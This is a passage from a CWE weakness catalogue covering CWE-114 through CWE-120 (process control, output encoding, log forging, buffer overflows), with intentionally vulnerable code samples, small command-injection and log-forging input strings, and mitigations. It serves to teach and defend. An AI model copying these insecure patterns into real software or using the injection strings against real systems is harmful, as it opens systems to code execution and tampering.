CanPrecede	We	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	1000	83
ChildOf	We	93	Failure to Sanitize CRLF Sequences ('CRLF Injection')	**1000**	109
ChildOf		442	Web Problems	**699**	468

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	HTTP response splitting
7 Pernicious Kingdoms	HTTP Response Splitting

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
31	Accessing/Intercepting/Modifying HTTP Cookies	
34	HTTP Response Splitting	
63	Simple Script Injection	
85	Client Network Footprinting (using AJAX/XSS)	

References

OWASP. "OWASP TOP 10". < http://www.owasp.org/index.php/Top_10_2007 >.

CWE-114: Process Control

Weakness ID: 114 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

Extended Description

Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

The following code uses System.loadLibrary() to load code from a native library named library.dll, which is normally found in a standard system directory.

Bad Code

```
...
System.loadLibrary("library.dll");
...
```

The problem here is that System.loadLibrary() accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of library.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's library.dll will now be run with elevated privileges, possibly giving them complete control of the system.

Example 2:

The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

C Example:

Bad Code

```
...
RegQueryValueEx(hkey, "APPHOME",
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {
  strcpy(lib,home);
  strcat(lib,INITCMD);
  LoadLibrary(lib);
}
...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

Example 3:

The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

Bad Code

```
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Potential Mitigations

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**699** **700** **1000**	14
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Process Control

CWE-115: Misinterpretation of Input

Weakness ID: 115 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0003	Product does not correctly import and process security settings from another product.
CVE-2005-2225	Product sees dangerous file extension in free text of a group discussion, disconnects all users.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**699** **1000**	14
CanAlsoBe	Wa	436	Interpretation Conflict	1000	463

Research Gaps

This concept needs further study. It is likely a factor in several weaknesses, possibly resultant as well. Overlaps Multiple Interpretation Errors (MIE).

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Misinterpretation Error

CWE-116: Improper Encoding or Escaping of Output

Weakness ID: 116 *(Weakness Class)* **Status:** Draft

Description

Summary

The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

Extended Description

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

Alternate Terms

Output Sanitization
Output Validation
Output Encoding

Terminology Notes

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. Of course, the concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Technology Classes

- Database-Server *(Often)*
- Web-Server *(Often)*

Common Consequences

Integrity
Confidentiality
Authorization

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted

Likelihood of Exploit

Very High

Demonstrative Examples

Example 1:

Here a value read from an HTML form parameter is reflected back to the client browser without having been encoded prior to output.

Java Example: *Bad Code*

```
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

Example 2:

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

Perl Example: *Bad Code*

```
$inputString = readLineFromFileHandle($serverFH);
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
  # separate the operator from its arguments based on a single whitespace
  ($operator, $args) = split(/ /, $cmd, 2);
  $args = UrlDecode($args);
  if ($operator eq "BAN") {
    ExecuteBan($args);
  }
  elsif ($operator eq "SAY") {
    ExecuteSay($args);
  }
}
```

In this code, the web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

Perl Example: *Bad Code*

```
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+/ /gs;
$argstr = UrlEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
  die "Error: you are not the admin.\n";
}
# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");
print $fh "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UrlEncode function could leave the "|" character intact. If an attacker provides:

Attack

```
SAY hello world|BAN user12
```

then the front end will see this is a "SAY" command, and the $argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

```
SAY hello%20world|BAN%20user12
```

The back end, however, will treat these as two separate commands: "SAY hello world" and "BAN user12". Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

Example 3:

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

Perl Example: *Bad Code*

```
sub GetUntrustedInput {
  return($ARGV[0]);
}
sub encode {
  my($str) = @_;
  $str =~ s/\&/\&amp;/gs;
  $str =~ s/\"/\&quot;/gs;
  $str =~ s/\'/\&apos;/gs;
  $str =~ s/\</\&lt;/gs;
  $str =~ s/\>/\&gt;/gs;
  return($str);
}
sub doit {
  my $uname = encode(GetUntrustedInput("username"));
  print "<b>Welcome, $uname!</b><p>\n";
  system("cd /home/$uname; /bin/ls -l");
  }
```

The programmer attempts to encode dangerous characters, however the blacklist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

Attack

```
' pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

Observed Examples

Reference	Description
CVE-2008-0005	Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
CVE-2008-0757	Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content.
CVE-2008-0769	Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
CVE-2008-3773	Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters.
CVE-2008-4636	OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed.
CVE-2008-5573	SQL injection via password parameter; a strong password might contain "&"

Potential Mitigations

Architecture and Design

Use languages, libraries, or frameworks that make it easier to generate properly encoded output.

Examples include the ESAPI Encoding control.

Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

Architecture and Design

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Architecture and Design
Implementation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Architecture and Design
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict whitelist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Architecture and Design
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Requirements
Fully specify which encodings are required by components that will be communicating with each other.

Implementation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Testing
Implementation
Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing
Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	**699**	14
CanPrecede	WC	74	Failure to Sanitize Data into a Different Plane ('Injection')	**1000**	70
ChildOf	WC	707	Improper Enforcement of Message or Data Structure	**1000**	709
ChildOf	C	751	Insecure Interaction Between Components	**750**	733
ParentOf	WE	*117*	*Improper Output Sanitization for Logs*	***1000***	*141*
ParentOf	WV	*644*	*Improper Sanitization of HTTP Headers for Scripting Syntax*	***699 1000***	*630*

Relationship Notes
This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Research Gaps

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

Theoretical Notes

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements	
63	Simple Script Injection	
73	User-Controlled Filename	
81	Web Logs Tampering	
85	Client Network Footprinting (using AJAX/XSS)	
86	Embedding Script (XSS) in HTTP Headers	

References

"OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.
Jeremiah Grossman. "Input validation or output filtering, which is better?". < http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html >.
Joshbw. "Output Sanitization". 2008-09-18. < http://www.analyticalengine.net/archives/58 >.
Niyaz PK. "Sanitizing user data: How and where to do it". 2008-09-11. < http://www.diovo.com/2008/09/sanitizing-user-data-how-and-where-to-do-it/ >.
Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. < http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html >.
Jim Manico. "Input Validation - Not That Important". 2008-08-10. < http://manicode.blogspot.com/2008/08/input-validation-not-that-important.html >.
Michael Eddington. "Preventing XSS with Correct Output Encoding". < http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/ >.

CWE-117: Incorrect Output Sanitization for Logs

Weakness ID: 117 *(Weakness Base)* **Status:** Draft

Description

Summary

Writing unsanitized user input into log files can allow an attacker to forge log entries or inject malicious content into logs.

Extended Description

Log forging vulnerabilities occur when: 1. Data enters an application from an untrusted source. 2. The data is written to an application or system log file.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters.

Likelihood of Exploit

Medium

Demonstrative Examples

The following web application code attempts to read an integer value from a request object. If the value fails to parse as an integer, then the input is logged with an error message indicating what happened.

Bad Code

```
...
String val = request.getParameter("val");
try {
  int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
  log.info("Failed to parse val = " + val);
}
...
```

If a user submits the string "twenty-one" for val, the following entry is logged: INFO: Failed to parse val=twenty-one However, if an attacker submits the string "twenty-one%0a%0aINFO:+User +logged+out%3dbadguy", the following entry is logged: INFO: Failed to parse val=twenty-one INFO: User logged out=badguy Clearly, attackers can use this same mechanism to insert arbitrary log entries.

Observed Examples

Reference	Description
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection

Potential Mitigations

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Background Details

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

Other Notes

A more subtle attack might involve skewing the log file statistics. Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to implicate another party in the commission of a malicious act. In the worst case, an attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	20	Improper Input Validation	699 700	14
ChildOf	Weakness Class	116	Improper Encoding or Escaping of Output	1000	136
ChildOf	Category	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	718
CanFollow	*Weakness Base*	*93*	*Failure to Sanitize CRLF Sequences ('CRLF Injection')*	*1000*	*109*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Log Forging

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
81	Web Logs Tampering	
93	Log Injection-Tampering-Forging	

References

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. February 2004.

A. Muffet. "The night the log was forged". < http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm >.

OWASP. "OWASP TOP 10". < http://www.owasp.org/index.php/Top_10_2007 >.

CWE-118: Improper Access of Indexable Resource (aka 'Range Error')

Weakness ID: 118 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Category	19	Data Handling	699	14
ParentOf	*Weakness Base*	*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	***1000***	*144*
ParentOf	*Weakness Base*	*130*	*Improper Handling of Length Parameter Inconsistency*	***699***	*161*
MemberOf	*View*	*1000*	*Research Concepts*	***1000***	*737*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
14	Client-side Injection-induced Buffer Overflow	
24	Filter Failure through Buffer Overflow	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	

CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer

Weakness ID: 119 *(Weakness Class)* **Status:** Draft

Description

Summary

The software may potentially allow operations, such as reading or writing, to be performed at addresses not intended by the developer.

Extended Description

When software permits read or write operations on memory located outside of an allocated range, an attacker may be able to access/modify sensitive information, cause the system to crash, alter the intended control flow, or execute arbitrary code.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Platform Notes

Common Consequences

Confidentiality

Integrity

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Availability

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example: *Bad Code*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supply_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(&hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which

resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

Bad Code

```
char * copy_input(char *user_supplied_string){
  int i, dst_index;
  char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
  if ( MAX_SIZE <= strlen(user_supplied_string) ){
    die("user string too long, die evil hacker!");
  }
  dst_index = 0;
  for ( i = 0; i < strlen; i++ ){
    if( '&' == user_supplied_string[i] ){
      dst_buf[dst_index++] = '&';
      dst_buf[dst_index++] = 'a';
      dst_buf[dst_index++] = 'm';
      dst_buf[dst_index++] = 'p';
      dst_buf[dst_index++] = ';';
    }
    else if ('<' == user_supplied_string[i] ){
      /* encode to &lt;
    }
    else dst_buf[dst_index++] = user_supplied_string[i];
  }
  return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 3, while the encoding of the ampersand expands by 4. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 3:

The following example asks a user for an offset into an array to select an item.

C Example:

Bad Code

```
int main (int argc, char **argv) {
  char *items[] = {"boat", "car", "truck", "train"};
  int index = GetUntrustedOffset();
  printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Potential Mitigations

Requirements

Use a language with features that can automatically mitigate or eliminate buffer overflows.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Architecture and Design

Use languages, libraries, or frameworks that make it easier to manage buffers without exceeding their boundaries.

Examples include the Safe C String Library (SafeStr) by Messier and Viega, and the Strsafe.h library from Microsoft. These libraries provide safer versions of overflow-prone string-handling functions. This is not a complete solution, since many buffer overflows are not related to strings.

Build and Compilation

Run or compile your software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, a buffer overflow attack can still cause a denial of service, since the typical response is to exit the application.

Implementation

Programmers should adhere to the following rules when allocating and managing their application's memory:

Double check that your buffer is as large as you specify.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if calling this function in a loop and make sure you are not in danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Operation

Use a feature like Address Space Layout Randomization (ASLR). This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution.

Operation

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent. This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**699** **700**	14
ChildOf	Wc	118	Improper Access of Indexable Resource ('Range Error')	**1000**	143
ChildOf	C	633	Weaknesses that Affect Memory	**631**	615
ChildOf	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	**711**	718
ChildOf	C	740	CERT C Secure Coding Section 06 - Arrays (ARR)	**734**	726
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	727
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	727
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	728
ChildOf	C	744	CERT C Secure Coding Section 10 - Environment (ENV)	734	729
ChildOf	C	752	Risky Resource Management	**750**	733

Nature	Type	ID	Name	V	Page
ParentOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	699 1000	148
ParentOf	WW	121	Stack-based Buffer Overflow	699 1000	151
ParentOf	WW	122	Heap-based Buffer Overflow	699 1000	152
ParentOf	We	123	Write-what-where Condition	699 1000	154
ParentOf	We	124	Boundary Beginning Violation ('Buffer Underwrite')	699 1000	155
ParentOf	We	125	Out-of-bounds Read	699 1000	157
ParentOf	We	128	Wrap-around Error	699 1000	158
ParentOf	We	129	Unchecked Array Indexing	699 1000	160
CanFollow	We	131	Incorrect Calculation of Buffer Size	699 1000	163
CanFollow	We	193	Off-by-one Error	1000	222
ParentOf	We	466	Return of Pointer Value Outside of Expected Range	1000	486
MemberOf	V	635	Weaknesses Used by NVD	635	616

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A5	Exact	Buffer Overflows
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR33-C		Guarantee that copies are made into storage of sufficient size
CERT C Secure Coding	ARR34-C		Ensure that array types in expressions are compatible
CERT C Secure Coding	ARR35-C		Do not allow loops to iterate beyond the end of an array
CERT C Secure Coding	ENV01-C		Do not make assumptions about the size of an environment variable
CERT C Secure Coding	FIO37-C		Do not assume character data has been read
CERT C Secure Coding	MEM09-C		Do not assume memory allocation routines initialize memory
CERT C Secure Coding	STR31-C		Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C		Null-terminate byte strings as required
CERT C Secure Coding	STR33-C		Size wide character strings correctly

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
14	Client-side Injection-induced Buffer Overflow	
24	Filter Failure through Buffer Overflow	
42	MIME Conversion	
44	Overflow Binary Resource File	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	
100	Overflow Buffers	

References

Microsoft. "Using the Strsafe.h Functions". < http://msdn.microsoft.com/en-us/library/ms647466.aspx >.
Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.zork.org/safestr/ >.
Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.
Arjan van de Ven. "Limiting buffer overflows with ExecShield". < http://www.redhat.com/magazine/009jul05/features/execshield/ >.
"PaX". < http://en.wikipedia.org/wiki/PaX >.

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Compound Element ID: 120 *(Compound Element Base: Composite)* **Status:** Incomplete

Description

Summary

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without checking its length at all. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

Alternate Terms

buffer overrun

Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

Unbounded Transfer

Terminology Notes

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Integrity

Access control (instruction processing): Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Integrity

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit

High to Very High

Observed Examples

Reference	Description
CVE-1999-0046	buffer overflow in local program using long environment variable
CVE-2000-1094	buffer overflow using command with long argument
CVE-2001-0191	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
CVE-2002-1337	buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<"
CVE-2003-0595	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.

Potential Mitigations

Architecture and Design

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

Architecture and Design

Use the <strsafe.h> library. This library has buffer overflow safe functions that will help with the detection of buffer overflows.

Build and Compilation

